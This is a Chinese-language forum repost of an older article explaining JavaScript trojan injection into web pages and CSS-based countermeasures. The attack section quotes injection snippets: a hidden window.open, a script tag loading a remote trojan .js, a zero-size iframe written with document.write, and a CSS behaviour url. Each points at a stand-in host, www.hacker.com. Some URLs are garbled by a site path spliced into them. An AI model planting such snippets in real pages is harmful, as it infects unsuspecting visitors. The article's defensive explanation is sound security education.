解析JS木马的攻与防

[复制链接]
查看: 274|回复: 0

解析JS木马的攻与防

[复制链接]
查看: 274|回复: 0
匿名  2011-9-18 18:56:38 |阅读模式

马上注册,结交更多好友,享受更多内容,了解更多户外知识,让你轻松享受户外!

您需要 登录 才可以下载或查看,没有账号?立即注册

×
解析JS木马的攻与防 </h1> <div id="property"> 2009-10-29 09:43:45  xueheike&#46;net  来源:<a href="" target="_blank">冰点极限&海洋顶端</a></div><!--引用地址-->   网站挂马如今已经成为黑客发起网络攻击的最主要方式之一,因此防范来自Web的安全威胁,显得格外重要,本文将介绍一些常见的JS挂马现象以及如何去应对。  木马一直是黑客的拿手技量。善于用木马的黑客,可 &#46;&#46;&#46;   网站挂马如今已经成为黑客发起网络攻击的最主要方式之一,因此防范来自Web的安全威胁,显得格外重要,本文将介绍一些常见的JS挂马现象以及如何去应对。<BR>  木马一直是黑客的拿手技量。善于用木马的黑客,可以在原来的入侵基础之上达到更大的目的。如今,虽然木马的种类有很多。但其中IFRAME挂马比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。<BR>  JS挂马溯源<BR>  当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。<BR>  而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。<BR>  小百科:JS脚本是java script脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,java script和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而java script与Jscript也不同,Jscript是微软为了迎战java script推出的脚本语言。<BR>  虽然java script作为给非程序人员的脚本语言向大众推广,但是java script是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。<BR>  挂马原理一点通<BR>  JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。<BR>  IFRAME挂马相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。<BR>  JS挂马攻防实录<BR>  攻现在最多见的JS挂马方法有两种,一种是直接将java script脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。<BR>  这种方法使用的关键代码如下:<BR>  window&#46;open("<A href="http://www&#46;hacker&#46;com/">http://www&#46;hacker&#46;com/</A>木马&#46;html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");<BR>  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。<BR>  另外一种JS挂马方式是,黑客先将挂马脚本代码,写入Windows中的写字板另存为后缀为&#46;js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:<BR>  <script src="http://www&#46;hackbase&#46;com/tech/2009-10-29/<A href="http://www&#46;hacker&#46;com/">http://www&#46;hacker&#46;com/</A>木马脚本&#46;js"></script><BR>  或者<BR>  document&#46;write("<div style='display:none'>")<BR>  document&#46;write("<iframe src="http://www&#46;hackbase&#46;com/tech/2009-10-29/网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")<BR>  document&#46;write("</div>")<BR>  就成功地将木马挂到了对方的网页中了。<BR>  小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:<BR>  <div style="behaviour: url(<A href="http://www&#46;hacker&#46;com/">http://www&#46;hacker&#46;com/</A>木马脚本&#46;js);"><BR>  或者:<BR>  <iframe src="http://www&#46;hackbase&#46;com/tech/2009-10-29/vbscript:[挂马脚本]"><BR>  等等……<BR>  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:<BR>  iframe{mdy1:expression(this&#46;src='http://www&#46;hackbase&#46;com/tech/2009-10-29/about:blank',this&#46;outerHTML='');}<BR>  script{mzm2:expression((this&#46;src&#46;toLowerCase()&#46;indexOf('http')==0)?document&#46;write('木马被成功隔离!'):'');}<BR>  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。<BR>  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document&#46;write()时,被document&#46;close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。<BR>  <title>让JS挂马中止的CSS代码</title><BR>  <style type="text/css" id="shudoo"><BR>  /*<![CDATA[*/<BR>  iframe{mdy1:expression(this&#46;src='http://www&#46;hackbase&#46;com/tech/2009-10-29/about:blank',this&#46;outerHTML='');}<BR>  script{mzm2:expression((this&#46;src&#46;indexOf('http')==0)?document&#46;close():'');}<BR>  /*]]>*/<BR>  </style><BR>  我们虽然能够巧妙地利用CSS代码防范IFRAME和JS脚本挂马,但是为什么网页挂马还是层出不穷?这恐怕就要说一说CSS挂马了,下次我们详细讨论。</div>
”济源户外网” www.jyhww.com 倡导“积极健康”的生活方式、崇尚“自然、和谐、真诚、友爱”的人文精神,以“自主、绿色、氧气、阳光、健康、友谊”为宗旨,由热爱生活、热爱大自然的群体组成。是户外运动者的家园,也是个人挑战自我。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|济源户外网-天韵茗茶 | 豫ICP备10211396号-1

GMT+8, 2026-7-18 07:55 , Processed in 0.020391 second(s), 18 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2025 Discuz! Team.